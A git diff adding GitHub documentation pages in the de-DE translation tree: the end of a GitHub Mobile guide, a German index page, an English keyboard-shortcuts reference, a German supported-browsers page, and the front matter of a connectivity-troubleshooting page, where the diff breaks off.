+You can sign into mobile with a personal account on {% data variables.product.prodname_ghe_server %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
+
+After you sign into mobile with a personal account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
+
+If you no longer need to access data for your personal account on {% data variables.product.prodname_ghe_server %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
+
+## Supported languages for {% data variables.product.prodname_mobile %}
+
+{% data variables.product.prodname_mobile %} is available in the following languages.
+
+- English
+- Japanese
+- Brazilian Portuguese
+- Simplified Chinese
+- Spanish
+
+If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu.
+
+## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS
+
+{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site.
+
+To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}.
+
+To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**.
+
+## Sharing feedback
+
+You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/mobile).
+
+## Opting out of beta releases for iOS
+
+If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time.
+
+1. On your iOS device, open the TestFlight app.
+2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**.
+3. At the bottom of the page, tap **Stop Testing**.
diff --git a/translations/de-DE/content/get-started/using-github/index.md b/translations/de-DE/content/get-started/using-github/index.md
new file mode 100644
index 0000000000..8438344a6d
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/index.md
@@ -0,0 +1,28 @@
+---
+title: GitHub verwenden
+intro: 'Erkunde {% data variables.product.company_short %}-Produkte verschiedener Plattformen und Geräte.'
+redirect_from:
+  - /articles/using-github
+  - /github/getting-started-with-github/using-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /exploring-early-access-releases-with-feature-preview
+  - /supported-browsers
+  - /github-cli
+  - /github-desktop
+  - /github-mobile
+  - /keyboard-shortcuts
+  - /github-command-palette
+  - /troubleshooting-connectivity-problems
+ms.openlocfilehash: dbe6936818564528d9d7af8a7550f36af486945f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133061'
+---
+
diff --git a/translations/de-DE/content/get-started/using-github/keyboard-shortcuts.md b/translations/de-DE/content/get-started/using-github/keyboard-shortcuts.md
new file mode 100644
index 0000000000..416cf4f6d1
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/keyboard-shortcuts.md
@@ -0,0 +1,245 @@
+---
+title: Keyboard shortcuts
+intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.'
+redirect_from:
+  - /articles/using-keyboard-shortcuts
+  - /categories/75/articles
+  - /categories/keyboard-shortcuts
+  - /articles/keyboard-shortcuts
+  - /github/getting-started-with-github/keyboard-shortcuts
+  - /github/getting-started-with-github/using-github/keyboard-shortcuts
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+## About keyboard shortcuts
+
+Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate.
+
+{% ifversion keyboard-shortcut-accessibility-setting %}
+You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings)."{% endif %}
+
+Below is a list of some of the available keyboard shortcuts.
+{% ifversion command-palette %}
+The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+
+## Site wide shortcuts
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>S</kbd> or <kbd>/</kbd> | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+|<kbd>G</kbd> <kbd>N</kbd> | Go to your notifications. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)."
+|<kbd>Esc</kbd> | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in
+{% ifversion command-palette %}|<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+
+## Repositories
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>G</kbd> <kbd>C</kbd> | Go to the **Code** tab
+|<kbd>G</kbd> <kbd>I</kbd> | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)."
+|<kbd>G</kbd> <kbd>P</kbd> | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %}
+|<kbd>G</kbd> <kbd>A</kbd> | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %}
+|<kbd>G</kbd> <kbd>B</kbd> | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)."
+|<kbd>G</kbd> <kbd>W</kbd> | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion discussions %}
+|<kbd>G</kbd> <kbd>G</kbd> | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %}
+
+## Source code editing
+
+| Keyboard shortcut | Description
+|-----------|------------{% ifversion fpt or ghec %}
+|<kbd>.</kbd> | Opens a repository or pull request in the web-based editor in the same browser tab. You must be signed in to use the editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."
+|<kbd>></kbd> | Opens a repository or pull request in the web-based editor in a new browser tab. You must be signed in to use the editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %}
+|<kbd>Command</kbd>+<kbd>B</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) | Inserts Markdown formatting for bolding text
+|<kbd>Command</kbd>+<kbd>I</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>I</kbd> (Windows/Linux) | Inserts Markdown formatting for italicizing text
+|<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Windows/Linux) | Inserts Markdown formatting for an ordered list
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Windows/Linux) | Inserts Markdown formatting for an unordered list
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Windows/Linux) | Inserts Markdown formatting for a quote{% endif %}
+|<kbd>E</kbd> | Open source code file in the **Edit file** tab
+|<kbd>Command</kbd>+<kbd>F</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>F</kbd> (Windows/Linux) | Start searching in file editor
+|<kbd>Command</kbd>+<kbd>G</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>G</kbd> (Windows/Linux) | Find next
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>G</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>G</kbd> (Windows/Linux) | Find previous
+|<kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>F</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>F</kbd> (Windows/Linux) | Replace
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>Option</kbd>+<kbd>F</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>R</kbd> (Windows/Linux) | Replace all
+|<kbd>Alt</kbd>+<kbd>G</kbd> | Jump to line
+|<kbd>Command</kbd>+<kbd>Z</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Z</kbd> (Windows/Linux) | Undo
+|<kbd>Command</kbd>+<kbd>Y</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Y</kbd> (Windows/Linux) | Redo
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> | Toggles between the **Edit file** and **Preview changes** tabs
+|<kbd>Command</kbd>+<kbd>S</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>S</kbd> (Windows/Linux) | Write a commit message
+
+For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands).
+
+## Source code browsing
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>T</kbd> | Activates the file finder
+|<kbd>L</kbd> | Jump to a line in your code
+|<kbd>W</kbd> | Switch to a new branch or tag
+|<kbd>Y</kbd> | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)."
+|<kbd>I</kbd> | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)."
+|<kbd>A</kbd> | Show or hide annotations on diffs
+|<kbd>B</kbd> | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)."
+
+## Comments
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Command</kbd>+<kbd>B</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) | Inserts Markdown formatting for bolding text
+|<kbd>Command</kbd>+<kbd>I</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>I</kbd> (Windows/Linux) | Inserts Markdown formatting for italicizing text
+|<kbd>Command</kbd>+<kbd>E</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>E</kbd> (Windows/Linux) | Inserts Markdown formatting for code or a command within a line{% ifversion fpt or ghae > 3.3 or ghes or ghec %}
+|<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Inserts Markdown formatting for creating a link{% endif %}{% ifversion fpt or ghae > 3.5 or ghes > 3.5 or ghec %}
+|<kbd>Command</kbd>+<kbd>V</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>V</kbd> (Windows/Linux) | Creates a Markdown link when applied over highlighted text{% endif %}
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) | Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.4 or ghec %}
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>V</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>V</kbd> (Windows/Linux) | Pastes HTML link as plain text{% endif %}
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>Option</kbd>+<kbd>V</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Alt</kbd>+<kbd>V</kbd> (Windows/Linux) | Pastes HTML link as plain text
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Windows/Linux) | Inserts Markdown formatting for an ordered list
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Windows/Linux) | Inserts Markdown formatting for an unordered list
+|<kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows/Linux) | Submits a comment
+|<kbd>Ctrl</kbd>+<kbd>.</kbd> and then <kbd>Ctrl</kbd>+<kbd>[saved reply number]</kbd> | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Windows/Linux) | Inserts Markdown formatting for a quote{% ifversion fpt or ghec %}
+|<kbd>Command</kbd>+<kbd>G</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>G</kbd> (Windows/Linux) | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %}
+|<kbd>R</kbd> | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." |
+
+## Issue and pull request lists
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>C</kbd> | Create an issue
+|<kbd>Command</kbd>+<kbd>/</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>/</kbd> (Windows/Linux) | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."||
+|<kbd>U</kbd> | Filter by author
+|<kbd>L</kbd> | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
+|<kbd>Alt</kbd> and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
+|<kbd>M</kbd> | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)."
+|<kbd>A</kbd> | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)."
+|<kbd>O</kbd> or <kbd>Enter</kbd> | Open issue
+
+## Issues and pull requests
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Q</kbd> | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)."
+|<kbd>M</kbd> | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)."
+|<kbd>L</kbd> | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)."
+|<kbd>A</kbd> | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)."
+|<kbd>X</kbd> | Link an issue or pull request from the same repository. For more information, see "[Linking a pull request to an issue](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue/)."
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %}
+|<kbd>Alt</kbd> and click | When creating an issue from a task list, open the new issue form in the current tab by holding <kbd>Alt</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
+|<kbd>Shift</kbd> and click | When creating an issue from a task list, open the new issue form in a new tab by holding <kbd>Shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
+|<kbd>Command</kbd> and click (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd> and click (Windows/Linux) | When creating an issue from a task list, open the new issue form in the new window by holding <kbd>Command</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %}
+
+## Changes in pull requests
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>C</kbd> | Open the list of commits in the pull request
+|<kbd>T</kbd> | Open the list of changed files in the pull request
+|<kbd>J</kbd> | Move selection down in the list
+|<kbd>K</kbd> | Move selection up in the list
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>Enter</kbd> | Add a single comment on a pull request diff |
+|<kbd>Alt</kbd> and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down <kbd>Alt</kbd> and clicking **Show outdated** or **Hide outdated**.|
+|Click, then <kbd>Shift</kbd> and click | Comment on multiple lines of a pull request by clicking a line number, holding <kbd>Shift</kbd>, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."|
+
+{% ifversion projects-v2 %}
+
+## {% data variables.projects.projects_v2_caps %}
+
+### Navigating a project
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Command</kbd>+<kbd>f</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>f</kbd> (Windows/Linux) | Focus filter field
+|<kbd>←</kbd> | Move cell focus to the left
+|<kbd>→</kbd> | Move cell focus to the right
+|<kbd>↑</kbd> | Move cell focus up
+|<kbd>↓</kbd> | Move cell focus down
+
+### Manipulating a project
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Enter</kbd> | Toggle edit mode for the focused cell
+|<kbd>Escape</kbd> | Cancel editing for the focused cell
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>\</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>\</kbd> (Windows/Linux) | Open row actions menu
+|<kbd>Shift</kbd>+<kbd>Space</kbd> | Select item
+|<kbd>Space</kbd> | Open selected item
+|<kbd>e</kbd> | Archive selected items
+
+{% endif %}
+
+## {% data variables.product.prodname_projects_v1_caps %}
+
+### Moving a column
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Enter</kbd> or <kbd>Space</kbd> | Start moving the focused column
+|<kbd>Esc</kbd> | Cancel the move in progress
+|<kbd>Enter</kbd> | Complete the move in progress
+|<kbd>←</kbd> or <kbd>H</kbd> | Move column to the left
+|<kbd>Command</kbd>+<kbd>←</kbd> or <kbd>Command</kbd>+<kbd>H</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>←</kbd> or <kbd>Ctrl</kbd>+<kbd>H</kbd> (Windows/Linux) | Move column to the leftmost position
+|<kbd>→</kbd> or <kbd>L</kbd> | Move column to the right
+|<kbd>Command</kbd>+<kbd>→</kbd> or <kbd>Command</kbd>+<kbd>L</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>→</kbd> or <kbd>Ctrl</kbd>+<kbd>L</kbd> (Windows/Linux) | Move column to the rightmost position
+
+### Moving a card
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Enter</kbd> or <kbd>Space</kbd> | Start moving the focused card
+|<kbd>Esc</kbd> | Cancel the move in progress
+|<kbd>Enter</kbd> | Complete the move in progress
+|<kbd>↓</kbd> or <kbd>J</kbd> | Move card down
+|<kbd>Command</kbd>+<kbd>↓</kbd> or <kbd>Command</kbd>+<kbd>J</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>↓</kbd> or <kbd>Ctrl</kbd>+<kbd>J</kbd> (Windows/Linux) | Move card to the bottom of the column
+|<kbd>↑</kbd> or <kbd>K</kbd> | Move card up
+|<kbd>Command</kbd>+<kbd>↑</kbd> or <kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>↑</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Move card to the top of the column
+|<kbd>←</kbd> or <kbd>H</kbd> | Move card to the bottom of the column on the left
+|<kbd>Shift</kbd>+<kbd>←</kbd> or <kbd>Shift</kbd>+<kbd>H</kbd> | Move card to the top of the column on the left
+|<kbd>Command</kbd>+<kbd>←</kbd> or <kbd>Command</kbd>+<kbd>H</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>←</kbd> or <kbd>Ctrl</kbd>+<kbd>H</kbd> (Windows/Linux) | Move card to the bottom of the leftmost column
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>←</kbd> or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>H</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>←</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>H</kbd> (Windows/Linux) | Move card to the top of the leftmost column
+|<kbd>→</kbd> | Move card to the bottom of the column on the right
+|<kbd>Shift</kbd>+<kbd>→</kbd> or <kbd>Shift</kbd>+<kbd>L</kbd> | Move card to the top of the column on the right
+|<kbd>Command</kbd>+<kbd>→</kbd> or <kbd>Command</kbd>+<kbd>L</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>→</kbd> or <kbd>Ctrl</kbd>+<kbd>L</kbd> (Windows/Linux) | Move card to the bottom of the rightmost column
+|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>→</kbd> or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>L</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>→</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>L</kbd> (Windows/Linux) | Move card to the bottom of the rightmost column
+
+### Previewing a card
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Esc</kbd> | Close the card preview pane
+
+{% ifversion fpt or ghec %}
+## {% data variables.product.prodname_actions %}
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>Command</kbd>+<kbd>Space </kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Space</kbd> (Windows/Linux) | In the workflow editor, get suggestions for your workflow file.
+|<kbd>G</kbd> <kbd>F</kbd> | Go to the workflow file
+|<kbd>Shift</kbd>+<kbd>T</kbd> or <kbd>T</kbd> | Toggle timestamps in logs
+|<kbd>Shift</kbd>+<kbd>F</kbd> or <kbd>F</kbd> | Toggle full-screen logs
+|<kbd>Esc</kbd> | Exit full-screen logs
+
+{% endif %}
+
+## Notifications
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>E</kbd> | Mark as done
+|<kbd>Shift</kbd>+<kbd>U</kbd>| Mark as unread
+|<kbd>Shift</kbd>+<kbd>I</kbd>| Mark as read
+|<kbd>Shift</kbd>+<kbd>M</kbd> | Unsubscribe
+
+## Network graph
+
+| Keyboard shortcut | Description
+|-----------|------------
+|<kbd>←</kbd> or <kbd>H</kbd> | Scroll left
+|<kbd>→</kbd> or <kbd>L</kbd> | Scroll right
+|<kbd>↑</kbd> or <kbd>K</kbd> | Scroll up
+|<kbd>↓</kbd> or <kbd>J</kbd> | Scroll down
+|<kbd>Shift</kbd>+<kbd>←</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>H</kbd> (Windows/Linux) | Scroll all the way left
+|<kbd>Shift</kbd>+<kbd>→</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>L</kbd> (Windows/Linux) | Scroll all the way right
+|<kbd>Shift</kbd>+<kbd>↑</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>K</kbd> (Windows/Linux) | Scroll all the way up
+|<kbd>Shift</kbd>+<kbd>↓</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>J</kbd> (Windows/Linux) | Scroll all the way down
diff --git a/translations/de-DE/content/get-started/using-github/supported-browsers.md b/translations/de-DE/content/get-started/using-github/supported-browsers.md
new file mode 100644
index 0000000000..396947aee9
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/supported-browsers.md
@@ -0,0 +1,47 @@
+---
+title: Unterstützte Browser
+redirect_from:
+  - /articles/why-doesn-t-graphs-work-with-ie-8
+  - /articles/why-don-t-graphs-work-with-ie8
+  - /articles/supported-browsers
+  - /github/getting-started-with-github/supported-browsers
+  - /github/getting-started-with-github/using-github/supported-browsers
+intro: 'Für die beste Nutzung von {% data variables.product.product_name %} werden die neuesten Versionen von [Chrome](https://google.com/chrome), [Edge](https://microsoft.com/windows/microsoft-edge), [Firefox](https://mozilla.org/firefox) oder [Safari](https://apple.com/safari) empfohlen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 2d50e3c2fc18bd2522a8b3415127cc37b332660f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133946'
+---
+## Informationen zur Webbrowserunterstützung für {% data variables.product.product_name %}
+
+{% data variables.product.product_name %} ist für aktuelle Webbrowser konzipiert. Es empfiehlt sich, die neueste Version eines der folgenden Browser zu verwenden:
+
+ - [Apple Safari](https://apple.com/safari)
+ - [Google Chrome](https://google.com/chrome)
+ - [Microsoft Edge](https://microsoft.com/windows/microsoft-edge)
+ - [Mozilla Firefox](https://mozilla.org/firefox)
+ 
+Wenn du nicht die neueste Version eines empfohlenen Browsers oder aber einen Browser verwendest, der nicht in der obigen Liste enthalten ist, kann es vorkommen, dass {% data variables.product.product_name %} oder einige Features nicht wie erwartet oder gar nicht funktioniert bzw. funktionieren.
+
+Weitere Informationen zur Browserkompatibilität für Produkte von {% data variables.product.company_short %} findest du im Repository [`github/browser-support`](https://github.com/github/browser-support).
+## Erweiterter Support für empfohlene Webbrowser
+
+Einige Browseranbieter bieten Releases mit erweitertem Support. Wir tun unser Bestes, um sicherzustellen, dass {% data variables.product.product_name %} im neuesten Release mit erweitertem Support ordnungsgemäß funktioniert:
+
+- Chrome: [Erweiterter stabiler Kanal](https://support.google.com/chrome/a/answer/9027636)
+- Edge: [Erweiterter stabiler Kanal](https://docs.microsoft.com/en-gb/deployedge/microsoft-edge-channels#extended-stable-channel)
+- Firefox: [Release mit erweitertem Support](https://www.mozilla.org/en-US/firefox/organizations/) (Extended Support Release, ESR)
+
+In älteren Releases mit erweitertem Support funktioniert {% data variables.product.product_name %} ggf. nicht wie erwartet, und einige Features sind möglicherweise nicht verfügbar.
+
+
+## Beta- und Entwickler-Builds
+
+In Beta- und Entwickler-Builds deines Browsers treten eventuell unerwartete Fehler auf, selbst wenn der Browser unterstützt wird. Wenn du in einem dieser noch nicht öffentlichen Builds einen Bug auf {% data variables.product.product_name %} feststellst, untersuche bitte zunächst, ob dieser Bug auch in der stabilen Version des gleichen Browsers auftritt. Sollte der Bug nur in der noch nicht stabilen Version auftreten, melde ihn bitte dem Entwickler des Browsers.
diff --git a/translations/de-DE/content/get-started/using-github/troubleshooting-connectivity-problems.md b/translations/de-DE/content/get-started/using-github/troubleshooting-connectivity-problems.md
new file mode 100644
index 0000000000..7d6fe0c5e2
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/troubleshooting-connectivity-problems.md
@@ -0,0 +1,51 @@
+---
+title: Fehlerbehebung bei Verbindungsproblemen
+intro: 'Wenn beim Herstellen einer Verbindung mit {% data variables.product.prodname_dotcom %} Probleme auftreten, kannst du die Verbindungsprobleme behandeln und dann das Tool {% data variables.product.prodname_debug %} verwenden, um Probleme zu diagnostizieren.'
+redirect_from:
+  - /articles/troubleshooting-connectivity-problems
+  - /github/getting-started-with-github/troubleshooting-connectivity-problems
+  - /github/getting-started-with-github/using-github/troubleshooting-connectivity-problems
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Connectivity problems
+ms.openlocfilehash: 77e88f4721c5dfa9cdde22ddee23a9188785e994
